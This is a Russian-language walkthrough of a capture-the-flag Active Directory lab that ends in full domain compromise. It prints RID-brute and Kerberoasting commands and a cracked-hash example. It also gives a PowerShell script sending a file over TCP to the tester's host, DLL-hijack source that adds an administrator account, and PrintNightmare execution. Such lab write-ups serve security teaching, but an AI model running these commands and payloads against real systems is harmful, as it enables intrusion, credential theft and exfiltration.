August 24, 2025

Gotham City - Active Directory Lab

В этой лабораторной работе вы узнаете, как использовать мощный инструмент NetExec для эффективного компрометирования домена Active Directory во время внутреннего пентеста.

Для тех, кто не знаком с данным инструментом, информации о нем полно в сети, но главное знакомство это официальная документация об инструменте, ознакомиться с которой можно здесь.

Разведка и сбор информации о цели.

Общая информация о цели, как вы могли заметить, здесь стоят сервера 2022.

Добавляем имена доменов и полученные ip адреса в наш /etc/hosts.

Проверяем сетку на Null sessions.

Но мы сделаем немного по другому, мы попробуем добавить пользователя по умолчанию, а именно guest и посмотрим на результат.

Null Sessions - это уязвимость, обнаруженная в общей файловой системе Интернета (CIFS) или SMB, в зависимости от операционной системы, при которой хакер специалист по тестированию на проникновение может легко получить полный список всех имён пользователей, групп, общих ресурсов, разрешений, политик, служб и т. д., используя учётную запись пользователя Null. Стандарты SMB и NetBIOS в Windows включают API, которые возвращают информацию о системе через TCP-порт 139.

Так отлично как мы можем видеть такой пользователь существует и имеет доступ ко всей сетке, отлично идем дальше и проверим какие общие ресурсы (shares) могут быть доступны.

Из вывода можно увидеть, что из списка выделяется один ресурс, в который мы попробуем заглянуть и посмотреть, что ценного там сможем найти.

По причине того, что NetExec не сможет нам помочь в подключение к общему ресурсу, мы воспользуемся иным инструментом под названием smbclient, он есть как встроенный, так и входит в состав всеми известного инструмента impacket в виде python скрипта.

Что мы видим по итогу, что есть какой-то исполняемый файл, и больше ни чего интересно там не найти.

Дисклеймер: На сколько я понял, этот файл содержит флаг, но что бы его добыть нужно обладать знаниями reverse engineering. Знания в этой сфере у меня есть, но сидеть и ковырять его мне было просто лень. В реальном кейсе такой исполняемы файл может быть полезен, т.к. может содержать КИ.

Поэтому оставляем его лежать дальше и идем по другому пути.

Теперь для того, что бы пройти дальше нам необходимо собрать информацию о пользователях, точнее найти пользователей домена. При null sessions мы не получим результатов, при добавлении флага --users в команде, что была выше показана, поэтому мы переберем директории.

nxc smb 192.168.56.0/24 -u 'guest' -p '' --rid-brute                                                             
SMB         192.168.56.12   445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.11   445    SRV01            [*] Windows Server 2022 Build 20348 x64 (name:SRV01) (domain:GOTHAM.CITY) (signing:False) (SMBv1:False)
SMB         192.168.56.10   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:GOTHAM.CITY) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         192.168.56.12   445    SRV02            [+] GOTHAM.CITY\guest: 
SMB         192.168.56.11   445    SRV01            [+] GOTHAM.CITY\guest: 
SMB         192.168.56.10   445    DC01             [+] GOTHAM.CITY\guest: 
SMB         192.168.56.12   445    SRV02            500: SRV02\Administrator (SidTypeUser)
SMB         192.168.56.12   445    SRV02            501: SRV02\Guest (SidTypeUser)
SMB         192.168.56.12   445    SRV02            503: SRV02\DefaultAccount (SidTypeUser)
SMB         192.168.56.12   445    SRV02            504: SRV02\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.56.12   445    SRV02            513: SRV02\None (SidTypeGroup)
SMB         192.168.56.11   445    SRV01            500: SRV01\Administrator (SidTypeUser)
SMB         192.168.56.11   445    SRV01            501: SRV01\Guest (SidTypeUser)
SMB         192.168.56.11   445    SRV01            503: SRV01\DefaultAccount (SidTypeUser)
SMB         192.168.56.11   445    SRV01            504: SRV01\WDAGUtilityAccount (SidTypeUser)
SMB         192.168.56.11   445    SRV01            513: SRV01\None (SidTypeGroup)
SMB         192.168.56.12   445    SRV02            1000: SRV02\vagrant (SidTypeUser)
SMB         192.168.56.11   445    SRV01            1000: SRV01\vagrant (SidTypeUser)
SMB         192.168.56.10   445    DC01             498: GOTHAM\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             500: GOTHAM\Administrator (SidTypeUser)
SMB         192.168.56.10   445    DC01             501: GOTHAM\Guest (SidTypeUser)
SMB         192.168.56.10   445    DC01             502: GOTHAM\krbtgt (SidTypeUser)
SMB         192.168.56.10   445    DC01             512: GOTHAM\Domain Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             513: GOTHAM\Domain Users (SidTypeGroup)
SMB         192.168.56.10   445    DC01             514: GOTHAM\Domain Guests (SidTypeGroup)
SMB         192.168.56.10   445    DC01             515: GOTHAM\Domain Computers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             516: GOTHAM\Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             517: GOTHAM\Cert Publishers (SidTypeAlias)
SMB         192.168.56.10   445    DC01             518: GOTHAM\Schema Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             519: GOTHAM\Enterprise Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             520: GOTHAM\Group Policy Creator Owners (SidTypeGroup)
SMB         192.168.56.10   445    DC01             521: GOTHAM\Read-only Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             522: GOTHAM\Cloneable Domain Controllers (SidTypeGroup)
SMB         192.168.56.10   445    DC01             525: GOTHAM\Protected Users (SidTypeGroup)
SMB         192.168.56.10   445    DC01             526: GOTHAM\Key Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             527: GOTHAM\Enterprise Key Admins (SidTypeGroup)
SMB         192.168.56.10   445    DC01             553: GOTHAM\RAS and IAS Servers (SidTypeAlias)
SMB         192.168.56.10   445    DC01             571: GOTHAM\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         192.168.56.10   445    DC01             572: GOTHAM\Denied RODC Password Replication Group (SidTypeAlias)
SMB         192.168.56.10   445    DC01             1000: GOTHAM\vagrant (SidTypeUser)
SMB         192.168.56.10   445    DC01             1001: GOTHAM\DC01$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1102: GOTHAM\DnsAdmins (SidTypeAlias)
SMB         192.168.56.10   445    DC01             1103: GOTHAM\DnsUpdateProxy (SidTypeGroup)
SMB         192.168.56.10   445    DC01             1104: GOTHAM\SRV01$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1105: GOTHAM\SRV02$ (SidTypeUser)
SMB         192.168.56.10   445    DC01             1106: GOTHAM\bruce.wayne (SidTypeUser)
SMB         192.168.56.10   445    DC01             1107: GOTHAM\joker (SidTypeUser)
SMB         192.168.56.10   445    DC01             1108: GOTHAM\alfred.pennyworth (SidTypeUser)
SMB         192.168.56.10   445    DC01             1109: GOTHAM\selina.kyle (SidTypeUser)
SMB         192.168.56.10   445    DC01             1110: GOTHAM\harvey.dent (SidTypeUser)
SMB         192.168.56.10   445    DC01             1111: GOTHAM\jim.gordon (SidTypeUser)
SMB         192.168.56.10   445    DC01             1112: GOTHAM\lucius.fox1337 (SidTypeUser)
SMB         192.168.56.10   445    DC01             1113: GOTHAM\barbara.gordon (SidTypeUser)
SMB         192.168.56.10   445    DC01             1114: GOTHAM\oswald.cobblepot (SidTypeUser)
SMB         192.168.56.10   445    DC01             1115: GOTHAM\edward.nygma (SidTypeUser)
SMB         192.168.56.10   445    DC01             1116: GOTHAM\bane (SidTypeUser)
SMB         192.168.56.10   445    DC01             1117: GOTHAM\victor.freeze (SidTypeUser)
SMB         192.168.56.10   445    DC01             1118: GOTHAM\harley.quinn (SidTypeUser)
SMB         192.168.56.10   445    DC01             1119: GOTHAM\dick.grayson (SidTypeUser)
SMB         192.168.56.10   445    DC01             1120: GOTHAM\jason.todd (SidTypeUser)
SMB         192.168.56.10   445    DC01             1121: GOTHAM\tim.drake (SidTypeUser)
SMB         192.168.56.10   445    DC01             1122: GOTHAM\talia.al.ghul (SidTypeUser)
SMB         192.168.56.10   445    DC01             1123: GOTHAM\rachel.dawes (SidTypeUser)
SMB         192.168.56.10   445    DC01             1124: GOTHAM\ras.al.ghul (SidTypeUser)
SMB         192.168.56.10   445    DC01             1125: GOTHAM\scarecrow (SidTypeUser)
SMB         192.168.56.10   445    DC01             1126: GOTHAM\poison.ivy (SidTypeUser)
SMB         192.168.56.10   445    DC01             1127: GOTHAM\black.mask (SidTypeUser)
SMB         192.168.56.10   445    DC01             1128: GOTHAM\killer.croc (SidTypeUser)
SMB         192.168.56.10   445    DC01             1129: GOTHAM\deadshot (SidTypeUser)
SMB         192.168.56.10   445    DC01             1130: GOTHAM\gmsa-robin$ (SidTypeUser)
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Что бы не мучиться с фильтрацией воспользуемся регулярными выражениями и командами Linux.

nxc smb 192.168.56.10 -u 'guest' -p '' --rid-brute | awk -F ' ' '{print $6}'| sed -e 's/^GOTHAM\\//g'
Windows
GOTHAM.CITY\guest:
Enterprise
Administrator
Guest
krbtgt
Domain
Domain
Domain
Domain
Domain
Cert
Schema
Enterprise
Group
Read-only
Cloneable
Protected
Key
Enterprise
RAS
Allowed
Denied
vagrant
DC01$
DnsAdmins
DnsUpdateProxy
SRV01$
SRV02$
bruce.wayne
joker
alfred.pennyworth
selina.kyle
harvey.dent
jim.gordon
lucius.fox1337
barbara.gordon
oswald.cobblepot
edward.nygma
bane
victor.freeze
harley.quinn
dick.grayson
jason.todd
tim.drake
talia.al.ghul
rachel.dawes
ras.al.ghul
scarecrow
poison.ivy
black.mask
killer.croc
deadshot
gmsa-robin$

И вот что мы получаем на выходе. Далее нам просто необходимо скопировать только пользователей и сохранить в отдельный файл.

Далее нам предстоит проверить валидность данных пользователей, для этого мы будем использовать не менее известный инструмент как Kerbrute.

Проверяем возможность проведения атаки типа AS-REP Roasting.

AS-REP Roasting — это атака с доступом к учётным данным, использующая уязвимость протокола аутентификации Kerberos в средах Active Directory. Она нацелена на учётные записи пользователей, для которых включён параметр «Не требовать предварительную аутентификацию Kerberos», который отключает начальный этап аутентификации, обычно требующий ввода пароля пользователя для шифрования временной метки. Это позволяет злоумышленнику, даже с низкими привилегиями и доступом к сети, запросить билет Kerberos на выдачу билетов (TGT) без предоставления действительных учётных данных.

Теперь проверим на возможность првоедения атаки типа Kerberoasting.

Kerberoasting — это метод атаки после эксплуатации уязвимости, нацеленный на протокол аутентификации Kerberos, позволяющий злоумышленникам извлекать зашифрованные учетные данные служб из Active Directory.

Как мы видим у нас есть результаты. Это хорошо.


Попробуем поломать полученных хеши.

hashcat -m 13100 '$krb5tgs$23$*joker$GOTHAM.CITY$joker*$6fff58db18ad39f0f63a4792d0148adb$47d1c0b45e873285d5f70ebf5e636a61671c98291dc4aff2f60f1fe2e65cfc2d18391984a79bb33a58231738b75dac3936d6616821c3822b681d9039cc2ecb047164e911643d5fc35e554dbe22b6c5aade0a06fd179705deff77a1797368be35c654c7d8b715e5e68af9ebae886b3174b04f61accd20eaa63ca425e6ffadc0f81bee60e005586a5615105cf5619011d8dc00859cc77efeebf5a99cf1a26907fc9ad3a047f794efafce8cac9f345ee3f79c64e6a08a83e6fbd1e2609bf8644a56fe40c42425951990a24232a7e624cada2eb14c69d269dd0b7e2de3d87cd692e93e784e226bbbcae19f9ed563c4a824da1cba3325df924e7704517dda89341c2b70ae74c8665ab820918f0c077d441907ac7a116b3279c4533b5cb31295d919d8.......1c565230bbceaf49d40308b0e1660731d4a1ba7aeefca67a3c2164e835b39f4795aa13c5a47cbb61cf1a58d458bd18d3de5b1b9897f2ec0e8fa73ae325c060a135148b2d2149360e' /usr/share/wordlists/rockyou.txt


По окончание работы hashcat мы получим первые креды для дальнейшего продвижения.

Имея УЗ пользователя домена, воспользуемся еще одним инструментом под названием bloodhound.

И так теперь у нас есть архив в котором содержится информация об Active Directory, которую можно загрузить в bloodhound и посмотреть топологию сети в графе.

Но я воспользовался немного другим вариантом данного инструмента, ознакомиться с ним можно здесь.

python3 automate_blood.py ~/BarbHack/*.zip -a -f users     
[INFO] Reading data from ZIP...

=== DETECTED ENTITIES ===
- Total entities: 108
  Breakdown:
   • Users: 30
   • Computers: 3
   • Groups: 52
   • Containers: 19
   • Ous: 1
   • Domains: 1
   • Gpos: 2

=== POTENTIALLY CRITICAL ASSETS ===
- Kerberoastable accounts: 3
   • GMSA-ROBIN$@GOTHAM.CITY (users)
   • JOKER@GOTHAM.CITY (users)
   • KRBTGT@GOTHAM.CITY (users)
- AS-REP Roastable accounts: 0
   (none)
- AdminCount=true accounts: 16
   • KRBTGT@GOTHAM.CITY (users)
   • VAGRANT@GOTHAM.CITY (users)
   • ADMINISTRATOR@GOTHAM.CITY (users)
- Computers with obsolete OS: 0
   (none)
- Disabled admins: 1
   • KRBTGT@GOTHAM.CITY (users)
- Users with passwords that never expire: 27
   • DEADSHOT@GOTHAM.CITY (users)
   • KILLER.CROC@GOTHAM.CITY (users)
   • BLACK.MASK@GOTHAM.CITY (users)
   • SCARECROW@GOTHAM.CITY (users)
   • RAS.AL.GHUL@GOTHAM.CITY (users)
   • POISON.IVY@GOTHAM.CITY (users)
   • RACHEL.DAWES@GOTHAM.CITY (users)
   • TIM.DRAKE@GOTHAM.CITY (users)
   • JASON.TODD@GOTHAM.CITY (users)
   • TALIA.AL.GHUL@GOTHAM.CITY (users)
   • DICK.GRAYSON@GOTHAM.CITY (users)
   • HARLEY.QUINN@GOTHAM.CITY (users)
   • VICTOR.FREEZE@GOTHAM.CITY (users)
   • BANE@GOTHAM.CITY (users)
   • EDWARD.NYGMA@GOTHAM.CITY (users)
   • OSWALD.COBBLEPOT@GOTHAM.CITY (users)
   • BARBARA.GORDON@GOTHAM.CITY (users)
   • LUCIUS.FOX1337@GOTHAM.CITY (users)
   • JIM.GORDON@GOTHAM.CITY (users)
   • HARVEY.DENT@GOTHAM.CITY (users)
   • ALFRED.PENNYWORTH@GOTHAM.CITY (users)
   • SELINA.KYLE@GOTHAM.CITY (users)
   • JOKER@GOTHAM.CITY (users)
   • BRUCE.WAYNE@GOTHAM.CITY (users)
   • VAGRANT@GOTHAM.CITY (users)
   • GUEST@GOTHAM.CITY (users)
   • ADMINISTRATOR@GOTHAM.CITY (users)

=== DETECTED RELATIONSHIPS ===
- Total relationships: 19
  SRV01.GOTHAM.CITY (computers) --[ReadGMSAPassword]--> GMSA-ROBIN$@GOTHAM.CITY (users)
  GMSA-ROBIN$@GOTHAM.CITY (users) --[GenericAll]--> HARLEY.QUINN@GOTHAM.CITY (users)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> KRBTGT@GOTHAM.CITY (users)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> VAGRANT@GOTHAM.CITY (users)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINISTRATOR@GOTHAM.CITY (users)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ENTERPRISE KEY ADMINS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> KEY ADMINS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> READ-ONLY DOMAIN CONTROLLERS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ACCOUNT OPERATORS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> SERVER OPERATORS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> DOMAIN ADMINS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ENTERPRISE ADMINS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> SCHEMA ADMINS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> DOMAIN CONTROLLERS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> REPLICATOR@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> BACKUP OPERATORS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> PRINT OPERATORS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINISTRATORS@GOTHAM.CITY (groups)
  HARVEY.DENT@GOTHAM.CITY (users) --[GenericAll]--> ADMINSDHOLDER@GOTHAM.CITY (containers)

Я сразу сделал фильтрацию по пользователям. И мы получаем дополнительную информацию, к которой мы еще вернемся, но чуть позже.

Сейчас мы проверим наши полученные УЗ на получение удаленного доступа.

Далее для удаленного подключения я буду использовать программу Remmina.

Это все, что на данный момент у нас есть, теперь можно пойти несколькими путями:

  1. WinPeas;
  2. PowerUP.

Я загрузил на машину жертвы PowerUP.ps1 и запустил его.

PS C:\tmp> powershell.exe -ep bypass .\PowerUP.ps1

PS C:\tmp> Import-Module .\PowerUP.ps1

PS C:\tmp> . .\PowerUP.ps1

PS C:\tmp>  Invoke-AllChecks


ServiceName                     : edgeupdate
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : AppendData/AddSubdirectory
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdate'
CanRestart                      : False
Name                            : edgeupdate
Check                           : Modifiable Service Files

ServiceName                     : edgeupdate
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /svc
ModifiableFile                  : C:\
ModifiableFilePermissions       : WriteData/AddFile
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdate'
CanRestart                      : False
Name                            : edgeupdate
Check                           : Modifiable Service Files

ServiceName                     : edgeupdatem
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : AppendData/AddSubdirectory
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart                      : False
Name                            : edgeupdatem
Check                           : Modifiable Service Files

ServiceName                     : edgeupdatem
Path                            : "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /medsvc
ModifiableFile                  : C:\
ModifiableFilePermissions       : WriteData/AddFile
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'edgeupdatem'
CanRestart                      : False
Name                            : edgeupdatem
Check                           : Modifiable Service Files

ServiceName   : WayneService
Path          : C:\Wayne\wayne.exe
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'WayneService'
CanRestart    : True
Name          : WayneService
Check         : Modifiable Services

ModifiablePath    : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
IdentityReference : GOTHAM\joker
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\joker\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\joker\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files




PS C:\tmp> 

И так у нас появилась точка опоры для поднятия привилегий.

Из вывода можно понять, что мы можем произвести атаку типа DLL Hijacking.

Выгрузка исполняемого файла.

DLL hijacking - это метод кибератаки, который использует метод операционной системы Windows по поиску и загрузке файлов динамически подключаемой библиотеки (DLL) для выполнения вредоносного кода вместо легитимного.
$ip = "192.168.56.116"
$port = 1337
$file = "C:\Users\Public\wayne.exe"

$client = New-Object System.Net.Sockets.TcpClient($ip, $port)
$stream = $client.GetStream()
[byte[]]$bytes = Get-Content $file -Encoding Byte -ReadCount 0
$stream.Write($bytes, 0, $bytes.Length)
$stream.Close()
$client.Close()

Для того, что бы понять какую именно библиотеку необходимо подгрузить, мне пришлось поднять еще одну машину, только уже на базе Windows, там же я установил программу Porcess Monitor, для отслеживания работы программы и того какие dll ему нужны для корректной работы.

Из вывода видно, что для корректной рабооты программы wayne.exe необходимо иметь dll с названием alfred.dll, которая в свою очередь так же должна была храниться в одной папке с исполняемым файлом.

Перейдем к созданию самой dll, для этого есть много хороших статей, которые могут вам предоставить "скелет" кода для dll.

Для создания dll код был взять здесь и здесь.

//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include<windows.h>
#include<stdlib.h>

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            system("net user pentester Passw0rd1! /add"); 
            system("net localgroup administrators pentester /add");
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH: # в оригинале DEATCH что является опечаткой
            break;
    }
    return TRUE;
}

Если посмотрите на код, то увидите, что созданная нами dll просто добавляет пользователя в систему и в группу администраторов.

На скрине ниже показано, как отрабатывает наша dll и мы можем наблюдать, что теперь у нас есть наш пользователь.

Посмотрим, на что способен созданный нами пользователь и попробуем сделать Dump LSA.

LSA (Local Security Authority) - это процесс извлечения конфиденциальной информации об учетных данных, хранящейся в операционной системе Windows.

Как мы видим у нас все получилось и если вы сейчас глядя на скрин скажите. Что все, вот наш Administrator, вот его хеш, то могу вас сразу не обрадовать, он не будет валидным...

Сейчас внимательно посмотрите на скрин, и обратите внимание на запись GMSA.


И так, у нас присутствует групповая учетная запись службы gMSA, но мы не знаем кому она принадлежит, так давайте выясним это. Для этого обратимся к документации NetExec, надеюсь как пользоваться поисковиком рассказывать не стоит.

Групповая управляемая учетная запись службы (gMSA) — это тип доменной учетной записи, используемой для запуска служб на нескольких серверах в домене Windows, при этом пароль автоматически управляется операционной системой Windows.

Нужный нам пользователь найден.

А теперь если вы вспомните, то я писал, что в скором времени мы вернемся к выводу bloodhound, так вот время настало.

Интересная запись, а интересующий нас пользователь обладает правами GenericALL.

GenericAll — это разрешение, которое предоставляет полный контроль над объектом, то есть все возможные права доступа к этому объекту.

В теории, обладая такими правами мы можем попытаться изменить пароль другому пользователю, в нашем случае таким пользователем является harly.quin.

Как мы можем видеть, у нас получилось изменить пароль и тем самым мы получи доступ на SRV02.

Подключаемся к серверу и осмтриваем машину, на предмет интересных файлов.

Например вот таких.

Нам необходимо провести анализ на возможные вектора атак при помощи NeteExec.

PrintNightmare — критическая уязвимость безопасности, затрагивающая операционную систему Microsoft Windows, в частности службу диспетчера очереди печати Windows.

Таким не хитрым способом мы нашли уязвимость, только, как и прежде не спешите радоваться, т.к. данная уязвимость не работает удалённо, поэтому будем ее реализовывать локально.

powershell.exe -ExecutionPolicy Bypass -NoProfile -File .\CVE-2021-34527.ps1
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass

По окончанию работы скрипт создаст пользователя и пароль.

После чего мы можем проверить наши права на машине и воспользовавшись еще одним модулем NetExec мы получаем пароль пользователя harvey.dent.

Снова вернемся к нашему выводу bloodhound и обратим снимание на строку указанную на скрине.

В операционных системах Microsoft Windows операторы резервного копирования — это встроенная группа, предоставляющая пользователям ограниченные права на выполнение операций резервного копирования и восстановления данных в системе, включая возможность резервного копирования и восстановления файлов и каталогов независимо от их прав доступа.

Интересно не правда ли?

Хорошо, значит в теории мы можем поднять права на данной машине.

Проверим теорию на практике с применением инструмента bloodyAD.

И да! Мы получили права доменного администратора и захватили полностью всю лабораторию.